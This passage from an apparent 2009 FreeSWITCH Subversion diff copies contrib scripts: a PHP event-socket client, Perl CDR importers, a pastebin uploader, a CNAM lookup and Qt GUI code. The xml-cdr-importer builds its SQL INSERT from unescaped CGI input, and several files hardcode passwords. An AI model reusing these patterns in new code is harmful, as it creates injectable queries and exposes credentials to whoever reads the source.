+     * @return boolean
+     */
+    function sock_connect($sock_array) {
+        //$this -> debug($sock_array);
+        $host = $sock_array['host'];
+        $port = $sock_array['port'];
+        $timeout = $sock_array['timeout'];
+        $this -> sock = fsockopen($host, $port, $errno, $errstr, $timeout);
+        if (!$this -> sock) {
+            $error = sprintf('Unable to connect to %s:%s Error #%s: %s'
+            , $host, $port, $errno, $errstr
+            );
+            trigger_error($error, E_USER_ERROR);
+            return false;
+        } else {
+            //$this -> debug(stream_get_meta_data($this -> sock));
+            $this -> set_stream_opts($sock_array);
+            return true;
+        }
+    }
+
+    /**
+     * Set the stream timeout to not block for long periods of time
+     *
+     * @param array $opts initial options passed to class instantiation
+     * @return void
+     */
+    function set_stream_opts($opts) {
+        //$this -> debug($opts);
+        if (ereg('^[0-9]*\.[0-9]+$', $opts['stream_timeout'])) {
+            //$this -> debug($opts['stream_timeout'] . ' seems to be a float');
+            $time_opts = split('\.', $opts['stream_timeout']);
+            //$this -> debug($time_opts);
+            $secs = sprintf('%d', $time_opts[0]);
+            $ms = ($time_opts[1] * 100000);
+        } else {
+            $secs = $opts['stream_timeout'];
+            $ms = 0;
+        }
+        if (!stream_set_timeout($this -> sock, $secs, $ms)) {
+            $this -> debug(
+            "Failed to set timeout to $secs seconds and $ms microseconds"
+            );
+        }
+    }
+
+    /**
+     * Authenticate to the FreeSWITCH event socket
+     *
+     * @param string $pass FreeSWITCH event socket password
+     * @return void
+     */
+    function sock_auth($pass) {
+        $reply = $this -> send_command("auth $pass");
+        if (is_array($reply) && array_key_exists('Reply-Text', $reply)
+        && ereg('^\+?OK', $reply['Reply-Text'])) {
+            $this -> debug('Successfully authenticated');
+            $this -> debug($reply);
+            $this -> auth = true;
+        } else {
+            $this -> debug('Failed to authenticate');
+            $this -> debug($reply);
+            $this -> auth = false;
+        }
+    }
+
+    /**
+     * write raw data to the FreeSWITCH socket
+     *
+     * @param string $input command to write to the socket
+     */
+    private function sock_put($input, $sock=null) {
+        $sock = is_null($sock) ? $this -> sock : $sock;
+        fputs($this -> sock, $input);
+    }
+
+    /**
+     * Read an event from the FreeSWITCH event socket
+     *
+     * @return array multi-dimentional array of the event
+     */
+    private function sock_get($sock=null) {
+        $sock = is_null($sock) ? $this -> sock : $sock;
+        $this -> debug('----   Event Start ----');
+        while ($orig_line = fgets($this -> sock, BUFFER_SIZE)) {
+            $trim_line = trim($orig_line);
+            $this -> debug($trim_line);
+            if (strlen($trim_line) > 0) {
+                if (strstr($trim_line, ":")) {
+                    $split = split(":", $trim_line);
+                    $header = trim($split[0]);
+                    $value = trim($split[1]);
+                    $event[$header] = $value;
+                }
+            } elseif (is_array($event)
+            && array_key_exists('Content-Length', $event)) {
+                $this -> debug("line is empty: " . (empty($trim_line) ? 'true' : 'false'));
+                $event['Body'] = $this -> sock_get_length($event['Content-Length']);
+                break;
+            } else {
+                break;
+            }
+        }
+        $this -> debug('----   Event Finish ----');
+        $this -> debug($event);
+        return $event;
+    }
+
+    /**
+     * Read $content_len bytes from the socket
+     *
+     * @param integer $content_len
+     * @return array
+     */
+    private function sock_get_length($content_len) {
+        $len = 0;
+        $content = null;
+        $this -> debug("calling sock_get_length with length of $content_len");
+        //for ($i=0; $i<$content_len; $i+=strlen($orig_line)) {
+        while ($orig_line = fgets($this -> sock, BUFFER_SIZE)) {
+            $len += strlen($orig_line);
+            $trim_line = trim($orig_line);
+            $this -> debug("$trim_line - $len");
+            if (strstr($orig_line, ":")) {
+                $split = split(":", $orig_line);
+                $attribute = trim($split[0]);
+                $value = trim($split[1]);
+                $content[$attribute] = urldecode($value);
+            } elseif (empty($trim_line) && is_array($content)
+            && array_key_exists('Content-Length', $content)) {
+                $content['Body'] = $this -> sock_get_length($content['Content-Length']);
+                $len += $content['Content-Length'];
+                break;
+            } elseif (!empty($trim_line)) {
+                $content .= $trim_line;
+            }
+            if ($len >= $content_len) {
+                break;
+            }
+        }
+        $this -> debug("leaving after $len bytes");
+        //$this -> debug($content);
+        return $content;
+    }
+
+    /**
+     * Send a command to the FreeSWITCH event socket
+     * This method sends a command string to the FreeSWITCH event socket and
+     * returns true upon success and false upon failure
+     * @param string $cmd command string to send to socket excluding any \r or \n
+     * @return boolean
+     */
+    public function send_command($cmd, $sock=null) {
+        $sock = is_null($sock) ? $this -> sock : $sock;
+        $this -> debug('command is ' . $cmd);
+        $cmd_split = split(' ', $cmd);
+        //$this -> debug($cmd_split);
+        $this -> command = $cmd_split[0];
+        if ($this -> auth != true && $this -> command != 'auth') {
+            unset($this -> command);
+            return false;
+        }
+        $this -> debug("sending command: '$cmd'");
+        $this -> sock_put("$cmd\r\n\r\n", $sock);
+        if ($this -> command != 'exit') {
+            $reply = $this -> sock_get($sock);
+            //$this -> debug($reply);
+        } else {
+            unset($this -> command);
+            return;
+        }
+        if (is_array($reply)) {
+            unset($this -> command);
+            return $reply;
+        } else {
+            unset($this -> command);
+            $this -> debug("Didn't get an array as a reply");
+            return false;
+        }
+    }
+
+    /**
+     * Execute an api command
+     *
+     * @param string $cmd_str
+     * @return array of the response or false
+     */
+    function api_command($cmd_str, $sock=null) {
+        $sock = is_null($sock) ? $this -> sock : $sock;
+        $reply = $this -> send_command("api $cmd_str", $sock);
+        while ($reply['Content-Type'] != 'api/response') {
+            if (count($reply) > 0) {
+                $debug_text = sprintf(
+                "%s - (%s) != (api/response) adding an event to the output buffer"
+                , count($reply), $reply['Content-Type']
+                );
+                $this -> debug($debug_text);
+                $this -> output_buffer[] = $reply;
+            }
+            $reply = $this -> sock_get();
+        }
+        return $reply;
+    }
+
+    /**
+     * Execute a backgrounded api command
+     *
+     * @param string $cmd_str
+     * @return array of the response or false
+     */
+    function bgapi_command($cmd_str) {
+        $reply = $this -> send_command("bgapi $cmd_str");
+        while ($reply['Content-Type'] != 'command/reply') {
+            if (count($reply) > 0) {
+                $debug_text = sprintf(
+                "%s - (%s) != (command/reply) adding an event to the output buffer"
+                , count($reply), $reply['Content-Type']
+                );
+                $this -> debug($debug_text);
+                $this -> output_buffer[] = $reply;
+            }
+            $reply = $this -> sock_get();
+        }
+        if (array_key_exists('Reply-Text', $reply)) {
+            $split = split(':', $reply['Reply-Text']);
+            $uuid = trim($split[1]);
+            $reply['Job-UUID'] = $uuid;
+        }
+        return $reply;
+    }
+
+    /**
+     * Pop an event off of the buffer or try to get one from the socket
+     *
+     * @return array
+     */
+    function read_event() {
+        if (count($this -> output_buffer) > 0) {
+            return array_shift($this -> output_buffer);
+        } else {
+            $reply = $this -> sock_get();
+            return $reply;
+        }
+    }
+
+    /**
+     * Keep trying read_event until we actually get one
+     *
+     * @return array
+     */
+    function wait_for_event() {
+        $event = array();
+        while (count($event) < 1) {
+            $event = $this -> read_event();
+        }
+        return $event;
+    }
+
+    /**
+     * Subscribe to event notifications
+     *
+     * @param mixed $events comma-separated or array of events
+     * @return boolean
+     */
+    function subscribe_events($events) {
+        if (is_array($events)) {
+            if (count($events) > 1) {
+                $events_str = implode(',', $events);
+            } else {
+                $events_str = $events[0];
+            }
+        } else {
+            $events_str = $events;
+        }
+        $reply = $this -> send_command("event plain $events_str");
+        $this -> debug($reply);
+        if (ereg('^\+?OK', $reply['Reply-Text'])) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Function to print out debugging info
+     * This method will recieve arbitrary data and print it to the screen
+     * enable/disable by defining FS_SOCK_DEBUG to true/false
+     * @param mixed $input what to debug, arrays and strings tested, objects MAY work
+     * @param integer $spaces
+     */
+    function debug($input, $spaces=0) {
+        if (defined('FS_SOCK_DEBUG') && FS_SOCK_DEBUG == true) {
+            if (is_array($input)) {
+                foreach ($input as $key=>$val) {
+                    if (is_array($val) || is_object($val)) {
+                        $this -> debug("[$key] => $val", $spaces+4);
+                        $this -> debug('(', $spaces + 8);
+                        $this -> debug($val, $spaces + 8);
+                    } else {
+                        $this -> debug("[$key] => '$val'", $spaces + 4);
+                    }
+                }
+                $this -> debug(")", $spaces);
+            } else {
+                if (is_array($_SERVER)
+                && array_key_exists('HTTP_HOST', $_SERVER)) {
+                    printf("<!--%s%s-->\r\n"
+                    , str_repeat(' ', $spaces)
+                    , htmlentities($input)
+                    );
+                } else {
+                    $input = trim($input);
+                    printf("%s%s\r\n", str_repeat(' ', $spaces), $input);
+                }
+            }
+        }
+    }
+}
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/socktest.php

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/socktest.php (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_sock/socktest.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/socktest.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_sock/socktest.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+<?php
+require_once('fs_sock.php');
+
+// uncommenting this will produce LARGE amounts of output
+// define('FS_SOCK_DEBUG', true);
+
+// different connection settings, all of these should work with a fresh install
+$array[] = array('host'=>'127.0.0.1');
+$array[] = array('host'=>'127.0.0.1', 'port'=>'8021');
+$array[] = array('pass'=>'ClueCon', 'timeout'=>7);
+$array[] = array(
+'host'=>'localhost',
+'port'=>'8021',
+'pass'=>'ClueCon',
+'timeout'=>3,
+'stream_timeout'=>0.5
+);
+
+// commands to run, initially this was how i caught a few of my bugs
+$cmds[] = 'status';
+$cmds[] = 'originate';
+$cmds[] = 'reloadxml';
+$cmds[] = 'invalidapp';
+$cmds[] = 'craptest';
+
+$obj = new fs_sock($array[3]);
+if ($obj -> auth != true) {
+    die(printf("Unable to authenticate\r\n"));
+}
+
+if (!$obj -> subscribe_events('ALL')) {
+    die(printf("Unable to subscribe to events"));
+}
+
+for ($x=0; $x<count($cmds); $x++) {
+    $debug_string = sprintf("Return ouput from (%s) is:", $cmds[$x]);
+    $return = $obj -> api_command($cmds[$x]);
+    $bg_return = $obj -> bgapi_command($cmds[$x]);
+
+    $obj -> debug("$debug_string\r\n");
+    $obj -> debug($return);
+    $obj -> debug($bg_return);
+}
+
+
+
+//get $items number of items from the event buffer
+$output = array();
+$items = 25;
+for ($i=0; count($output)<$items; $i++) {
+    $count = count($output);
+    printf("%s - %s\r\n", $i+1, $count);
+    //$output[] = $obj -> read_event();
+    $output[] = $obj -> wait_for_event();
+}
+$obj -> debug($output);
+
+
+
+
+$obj -> sock_close();
+?>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/intralanman/javascript (from rev 14471, freeswitch/trunk/contrib/intralanman/javascript)

Deleted: freeswitch/branches/seven/contrib/intralanman/javascript/cnam.js

Copied: freeswitch/branches/seven/contrib/intralanman/javascript/cnam.js (from rev 14471, freeswitch/trunk/contrib/intralanman/javascript/cnam.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/javascript/cnam.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/javascript/cnam.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+/*
+ *
+ * Author Raymond Chandler (intralanman)
+ * This CNAM script will work for IP CNAM queries from metrostat.net
+ * put this .js file in your FS_ROOT/scripts directory and add a line to your
+ * dialplan like the following:
+ * <action application="javascript" data="cnam.js"/>
+ *
+ */
+
+function logger(logstuff, loglevel) {
+    console_log(loglevel, logstuff + "\n");
+}
+
+var cid_num_array = /\+?1?([2-9]\d{2}[0-9]\d{6})/.exec(session.caller_id_number);
+if(cid_num_array && cid_num_array[1].length > 1) {
+    var cid_num = cid_num_array[1];
+} else {
+    exit();
+}
+logger(cid_num, "info");
+
+var base_url = "http://cnam1.edicentral.net/getcnam?q=C&f=S&dn=";
+var complete_url = base_url + cid_num
+logger(complete_url, "info");
+
+var data = fetchURL(complete_url);
+logger("CNAM is: " + data, "info");
+if(data && data.length > 1) {
+    session.setVariable("effective_caller_id_name", data);
+}

Copied: freeswitch/branches/seven/contrib/intralanman/perl (from rev 14471, freeswitch/trunk/contrib/intralanman/perl)

Copied: freeswitch/branches/seven/contrib/intralanman/perl/cdr (from rev 14471, freeswitch/trunk/contrib/intralanman/perl/cdr)

Property changes: freeswitch/branches/seven/contrib/intralanman/perl/cdr


Name: svn:mergeinfo
   + 

Deleted: freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer

Copied: freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer (from rev 14471, freeswitch/trunk/contrib/intralanman/perl/cdr/cdr-csv-importer) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+#!/usr/bin/perl
+
+use DBI;
+use Data::Dumper;
+use Sys::Syslog;
+
+my $config={};
+my $db;
+my $identifier = 'cdr-csv-importer';
+
+sub parse_config {
+    open(CONFIG, "<cdr-csv-importer.ini") or die("Can't open config file (cdr-csv-importer.ini)\n");
+    while (<CONFIG>) {
+	#print $_;
+        chomp; #kill whitespaces
+        
+        next if !(m/^[[:alnum:]]/); #skip lines that don't start right
+        next if m/^\s*$/; #skip lines with only whitespace
+	next if m/^;/;    #skip ini comments
+        next if m(/^\[.*\]/); # skip the start of a section
+	
+	my ($key, $val) = split(/\s+=\s+/, $_, 2);
+	#print "'$key' = '$val'\n";
+	if($key eq "fields") {
+	    @{$config->{fields}} = split(/,/, $val);
+	} else {
+	    $config->{$key} = $val;    
+	}
+    }
+    close(CONFIG);
+}
+
+sub create_table {
+#    my $db = shift;
+    my $sql = "CREATE TABLE IF NOT EXISTS `$config->{table}` (
+  `id` int(11) NOT NULL auto_increment,
+  `caller_id_name` varchar(255) NOT NULL default '',
+  `caller_id_number` varchar(255) NOT NULL default '',
+  `destination_number` varchar(255) NOT NULL default '',
+  `context` varchar(255) NOT NULL default '',
+  `start_stamp` varchar(255) NOT NULL default '',
+  `answer_stamp` varchar(255) NOT NULL default '',
+  `end_stamp` varchar(255) NOT NULL default '',
+  `duration` varchar(255) NOT NULL default '',
+  `billsec` varchar(255) NOT NULL default '',
+  `hangup_cause` varchar(255) NOT NULL default '',
+  `uuid` varchar(255) NOT NULL default '',
+  `bleg_uuid` varchar(255) NOT NULL default '',
+  `accountcode` varchar(255) NOT NULL default '',
+  `read_codec` varchar(255) NOT NULL default '',
+  `write_codec` varchar(255) NOT NULL default '',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `uuid` (`uuid`)
+) ENGINE=InnoDB";
+    $db->do($sql);
+    if (!$db->{Executed}) {
+	die("We couldn't CREATE the DB table\n");
+    }
+}
+
+sub connect_db {
+    return DBI->connect($config->{connect_string}, $config->{username}, $config->{password});
+}
+
+sub is_db_connected {
+    $query = $db->prepare("SELECT CURRENT_TIMESTAMP;");
+    $query->execute();
+}
+
+openlog($identifier, 'ndelay,pid', LOG_USER);
+open(STDERR,"|logger -t \"${identifier}[$$]: \"") or die "Error: Unable to redirect STDERR to logger!";
+open(STDOUT,"|logger -t \"${identifier}[$$]: \"") or die "Error: Unable to redirect STDOUT to logger!";
+&parse_config;
+#print Dumper $config;
+open(PID, ">$config->{pid_file}");
+print PID $$;
+$db = &connect_db;
+&create_table($db);
+$field_count = @{$config->{fields}};
+my $values = '?';
+my $fields = $config->{fields}[0];
+for ($i=1; $i<$field_count; $i++) {
+    $fields = sprintf('%s, %s', $fields, $config->{fields}[$i]);
+    $values = sprintf('%s, ?', $values);
+}
+
+
+my $query = sprintf(
+    "INSERT INTO %s (%s) VALUES (%s);", 
+    $config->{table}, join(',', @{$config->{fields}}), $values
+    );
+syslog(LOG_INFO, "$query");
+
+sub mylog {
+    $log = shift;
+    syslog(LOG_INFO, "$log");
+}
+
+print Dumper @ARGV;
+my $query_handle = $db->prepare($query);
+while (<STDIN>) {
+    syslog(LOG_INFO, $_);
+    chomp;
+    @values = split(/,/);
+    #print Dumper @values;
+    $query_handle->execute(@values);
+}

Deleted: freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer.ini

Copied: freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer.ini (from rev 14471, freeswitch/trunk/contrib/intralanman/perl/cdr/cdr-csv-importer.ini) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer.ini	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/perl/cdr/cdr-csv-importer.ini	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+[default]
+table = cdrs
+username = freeswitch
+password = Fr33Sw1tch
+connect_string = DBI:mysql:freeswitch
+pid_file = /var/run/cdr-csv-importer.pid
+fields = caller_id_name,caller_id_number,destination_number,context,start_stamp,answer_stamp,end_stamp,duration,billsec,hangup_cause,uuid,bleg_uuid,accountcode,read_codec,write_codec

Deleted: freeswitch/branches/seven/contrib/intralanman/perl/cdr/xml-cdr-importer

Copied: freeswitch/branches/seven/contrib/intralanman/perl/cdr/xml-cdr-importer (from rev 14471, freeswitch/trunk/contrib/intralanman/perl/cdr/xml-cdr-importer) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/perl/cdr/xml-cdr-importer	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/perl/cdr/xml-cdr-importer	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,151 @@
+#!/usr/bin/perl
+use strict;
+use Data::Dumper;
+use Sys::Syslog;
+use XML::Simple;
+use CGI;
+use DBI;
+
+openlog('xml-cdr', 'pid|ndelay', "LOG_USER");
+open(DEBUG, ">/tmp/debug.txt");
+
+my $config={};
+my $db;
+my $identifier = 'cdr-csv-importer';
+
+sub parse_config {
+    open(CONFIG, "<cdr-csv-importer.ini") or die("Can't open config file (cdr-csv-importer.ini)\n");
+    while (<CONFIG>) {
+	#print $_;
+        chomp; #kill whitespaces
+        
+        next if !(m/^[[:alnum:]]/); #skip lines that don't start right
+        next if m/^\s*$/; #skip lines with only whitespace
+	next if m/^;/;    #skip ini comments
+        next if m(/^\[.*\]/); # skip the start of a section
+	
+	my ($key, $val) = split(/\s+=\s+/, $_, 2);
+	#print "'$key' = '$val'\n";
+	if($key eq "fields") {
+	    @{$config->{fields}} = split(/,/, $val);
+	} else {
+	    $config->{$key} = $val;    
+	}
+    }
+    close(CONFIG);
+}
+
+sub create_table {
+#    my $db = shift;
+    my $sql = "CREATE TABLE IF NOT EXISTS `$config->{table}` (
+  `id` int(11) NOT NULL auto_increment,
+  `caller_id_name` varchar(255) NOT NULL default '',
+  `caller_id_number` varchar(255) NOT NULL default '',
+  `destination_number` varchar(255) NOT NULL default '',
+  `context` varchar(255) NOT NULL default '',
+  `start_stamp` varchar(255) NOT NULL default '',
+  `answer_stamp` varchar(255) NOT NULL default '',
+  `end_stamp` varchar(255) NOT NULL default '',
+  `duration` varchar(255) NOT NULL default '',
+  `billsec` varchar(255) NOT NULL default '',
+  `hangup_cause` varchar(255) NOT NULL default '',
+  `uuid` varchar(255) NOT NULL default '',
+  `bleg_uuid` varchar(255) NOT NULL default '',
+  `accountcode` varchar(255) NOT NULL default '',
+  `read_codec` varchar(255) NOT NULL default '',
+  `write_codec` varchar(255) NOT NULL default '',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `uuid` (`uuid`)
+) ENGINE=InnoDB";
+    $db->do($sql);
+    if (!$db->{Executed}) {
+	die("We couldn't CREATE the DB table\n");
+    }
+}
+
+sub connect_db {
+    return DBI->connect($config->{connect_string}, $config->{username}, $config->{password});
+}
+
+sub is_db_connected {
+    my $query = $db->prepare("SELECT CURRENT_TIMESTAMP;");
+    $query->execute();
+}
+
+sub urldecode {
+    my $url = shift;
+    $url =~ s/%([a-fA-F0-9]{2,2})/chr(hex($1))/eg;
+    return $url;
+}
+
+
+
+&parse_config;
+$db = &connect_db;
+&create_table;
+my $cgi = new CGI;
+#syslog("LOG_INFO", Dumper $cgi);
+#syslog("LOG_INFO", Dumper \@ARGV);
+
+my @cgi_params = $cgi->param;
+print "Content-Type: text/plain\r\n\r\n";
+
+my $xml = new XML::Simple();
+#my $cdr = $xml->XMLin('/usr/local/freeswitch/conf/autoload_configs/acl.conf.xml');
+my $cdr = $xml->parse_string($cgi->param('cdr'));
+print DEBUG Dumper $cdr;
+
+my $variables = $cdr->{variables};
+my $caller_profile = {};
+if (ref $cdr->{callflow} eq "ARRAY") {
+    syslog("LOG_INFO", "callflow is an array");
+    $caller_profile = $cdr->{callflow}->[0]->{caller_profile};
+} else {
+    syslog("LOG_INFO", "callflow is not an array");
+    $caller_profile = $cdr->{callflow}->{caller_profile};
+}
+
+#syslog(LOG_INFO, Dumper $cdr);
+
+print "caller_id_name: $caller_profile->{caller_id_name}\n";
+print "caller_id_number: $caller_profile->{caller_id_number}\n";
+print "destination_number: $caller_profile->{destination_number}\n";
+print "context: $caller_profile->{context}\n";
+print "start_stamp: " . &urldecode($variables->{start_stamp}) . "\n";
+print "answer_stamp: " . &urldecode($variables->{answer_stamp}) . "\n";
+print "end_stamp: " . &urldecode($variables->{end_stamp}) . "\n";
+print "duration: $variables->{duration}\n";
+print "billsec: $variables->{billsec}\n";
+print "hangup_cause: $variables->{hangup_cause}\n";
+print "uuid: $caller_profile->{uuid}\n";
+print "bleg_uuid: $caller_profile->{bleg_uuid}\n";
+print "accountcode: $variables->{accountcode}\n";
+print "\n\n";
+
+my $cdr_line = sprintf(
+    '"%s","%s","%s","%s","%s","%s","%s","%s","%s","%s","%s","%s","%s","%s","%s"',
+    $caller_profile->{caller_id_name},
+    $caller_profile->{caller_id_number},
+    $caller_profile->{destination_number},
+    $caller_profile->{context},
+    &urldecode($variables->{start_stamp}),
+    &urldecode($variables->{answer_stamp}),
+    &urldecode($variables->{end_stamp}),
+    $variables->{duration},
+    $variables->{billsec},
+    $variables->{hangup_cause},
+    $caller_profile->{uuid},
+    $caller_profile->{bleg_uuid},
+    $variables->{accountcode},
+    $variables->{read_codec},
+    $variables->{write_codec}
+);
+
+syslog("LOG_INFO", $cdr_line);
+
+my $query = sprintf(
+    "INSERT INTO %s (%s) VALUES (%s);", 
+    $config->{table}, join(',', @{$config->{fields}}), $cdr_line
+    );
+syslog("LOG_INFO", $query);
+$db->do($query);

Deleted: freeswitch/branches/seven/contrib/intralanman/perl/fspb

Copied: freeswitch/branches/seven/contrib/intralanman/perl/fspb (from rev 14471, freeswitch/trunk/contrib/intralanman/perl/fspb) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/perl/fspb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/perl/fspb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+#!/usr/bin/perl
+use LWP::UserAgent;
+use Getopt::Long;
+use Sys::Hostname;
+#use Data::Dumper;
+
+sub usage() {
+    print "Options:\n";
+    print "    -h This message \n";
+    print "    -l Use long hostname (i.e. user\@host)\n";
+    print "    -n Nick to use for post\n";
+    print "    -r Length of time to keep the post d, m, or f \n\tfor day, month, or forever respectively\n";
+    exit;
+}
+
+my $ua = new LWP::UserAgent;
+$ua->env_proxy(); 
+my $url = 'http://pastebin.freeswitch.org/';
+my $line;
+my $text;
+my $login = getlogin() || getpwuid($<) || "Anonymous";
+my $host = hostname();
+my @getopt_args = (
+    'n=s', #nick to use for paste
+    'H=s', #highlighting to use 
+    'r=s', #how long to keep the paste [dmf]
+    'l', #use long name user@host
+    'h', # help, shows usage()
+    'd' #debug
+);
+
+# Options Stuff
+Getopt::Long::config("noignorecase", "bundling");
+GetOptions(\%options, @getopt_args);
+usage() if $options{h};
+$debug = 1 if $options{d};
+my $nick = length($options{n}) > 0 ? $options{n} : $login;
+$nick = $options{l} ? $nick . "_AT_" . $host : $nick;
+my $highlighting = length($options{H}) > 0 ? $options{H} : 'text';
+my $keep = length($options{r}) > 0 ? $options{r} : 'd';
+if($debug) {
+    print "Nick is $nick\nhighlighting is $highlighting\nKeep for $keep\n"; 
+}
+#exit;
+
+
+while($line = <STDIN>) {
+    $text .= $line;
+}
+push @{ $ua->requests_redirectable }, 'POST';
+# this should be smart enough to get the realm on its own.... 
+# maybe in a future version, i'll add that
+$ua ->credentials(
+    'pastebin.freeswitch.org:80', 
+    'the login and password is pastebin/freeswitch',
+    'pastebin' => 'freeswitch'
+    );
+my $response = $ua -> post($url, 
+    {
+	paste => 'Send',
+	remember => "0",
+        poster => "$nick", 
+	format => "$highlighting",
+	code2 => "$text",
+	expiry => "$keep"
+    }
+);
+
+if($debug) {
+    print $response -> content;
+    print "---- Dumper Start ----\n";
+    print Dumper $response;
+    print "---- Dumper Stop ----\n";
+}
+print "Your Post can be seen at: " 
+.  $response->{_previous}->{_headers}->{location} . "\n";

Copied: freeswitch/branches/seven/contrib/jmesquita (from rev 14471, freeswitch/trunk/contrib/jmesquita)

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/fsgui.pro

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/fsgui.pro (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/fsgui.pro) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/fsgui.pro	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/fsgui.pro	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+SUBDIRS  = src/interfaces \
+           src/fsgui \
+           src/plugins/consoleplugin

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src)

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui)

Deleted: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.cpp

Copied: freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.cpp (from rev 14471, freeswitch/trunk/contrib/jmesquita/fsgui/src/fsgui/appmanager.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jmesquita/fsgui/src/fsgui/appmanager.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,197 @@
+#include <QtGui>
+#include <QDir>
+#include <QtPlugin>
+#include "servermanager.h"
+#include "settingsdialog.h"
+#include "appmanager.h"
+#include "interfaces.h"
+#include "ui_config_plugin_widget.h"
+
+AppManager::AppManager(QObject *parent)
+    : QObject(parent)
+{
+    reallyClose = NULL;
+    QObject::connect(qApp, SIGNAL(lastWindowClosed()),
+                     this, SLOT(lastWindowClosed()));
+
+    QCoreApplication::setOrganizationName("FreeSWITCH");
+    QCoreApplication::setApplicationName("FsGui");
+    settings = new SettingsDialog();
+    QWidget *base = new QWidget;
+    pluginConfigPage = new Ui::pluginConfigPage();
+    pluginConfigPage->setupUi(base);
+    settings->addConfigItem("Plugins", base);
+    QObject::connect(pluginConfigPage->btnRun, SIGNAL(clicked()),
+                     this, SLOT(runPlugin()));
+    QObject::connect(pluginConfigPage->listWidget, SIGNAL(currentItemChanged(QListWidgetItem*,QListWidgetItem*)),
+                     this, SLOT(pluginSelected(QListWidgetItem*, QListWidgetItem*)));
+
+    serverManager = new ServerManager;
+
+    qApp->setWindowIcon(QIcon(":/icons/fsgui_logo.png"));
+
+    createActions();
+    loadPlugins();
+    settings->show();
+}
+
+
+void AppManager::createActions()
+{
+    action_exit = new QAction(tr("E&xit"), this);
+    action_exit->setShortcut(tr("Ctrl+Q"));
+    action_exit->setToolTip(tr("Exit FsGui"));
+    QObject::connect(action_exit, SIGNAL(triggered()),
+                     qApp, SLOT(closeAllWindows()));
+
+    action_preferences = new QAction(tr("&Preferences"), this);
+    QObject::connect(action_preferences, SIGNAL(triggered()),
+                     settings, SLOT(show()));
+
+    action_about = new QAction(tr("&About"), this);
+    action_about->setShortcut(QKeySequence::HelpContents);
+    QObject::connect(action_about, SIGNAL(triggered()),
+                     this, SLOT(about()));
+}
+
+
+void AppManager::createMenus(QMenuBar * menu_bar)
+{
+    bool file_exists = false;
+    bool edit_exists = false;
+    bool help_exists = false;
+    QList<QAction *> list = menu_bar->actions();
+    for (int i = 0; i < list.size(); ++i) {
+        if (QString::compare(list.at(i)->text(), tr("&File"), Qt::CaseInsensitive) == 0)
+        {
+            list.at(i)->menu()->addAction(action_exit);
+            file_exists = true;
+        }
+        if (QString::compare(list.at(i)->text(), tr("&Edit"), Qt::CaseInsensitive) == 0)
+        {
+            list.at(i)->menu()->addAction(action_preferences);
+            edit_exists = true;
+        }
+        if (QString::compare(list.at(i)->text(), tr("&Help"), Qt::CaseInsensitive) == 0)
+        {
+            list.at(i)->menu()->addAction(action_about);
+            help_exists = true;
+        }
+    }
+    if (file_exists == false)
+    {
+        QMenu * menu_file = new QMenu(tr("&File"), menu_bar);
+        menu_file->addAction(action_exit);
+        menu_bar->insertMenu(list.at(0), menu_file);
+    }
+    if (edit_exists == false)
+    {
+        QMenu * menu_edit = new QMenu(tr("&Edit"), menu_bar);
+        menu_edit->addAction(action_preferences);
+        menu_bar->insertMenu(list.at(1), menu_edit);
+    }
+    if (help_exists == false)
+    {
+        QMenu *menu_help = menu_bar->addMenu(tr("&Help"));
+        menu_help->addAction(action_about);
+    }
+}
+
+void AppManager::loadPlugins()
+{
+    QDir pluginsDir = QDir(qApp->applicationDirPath());
+#if defined(Q_OS_WIN)
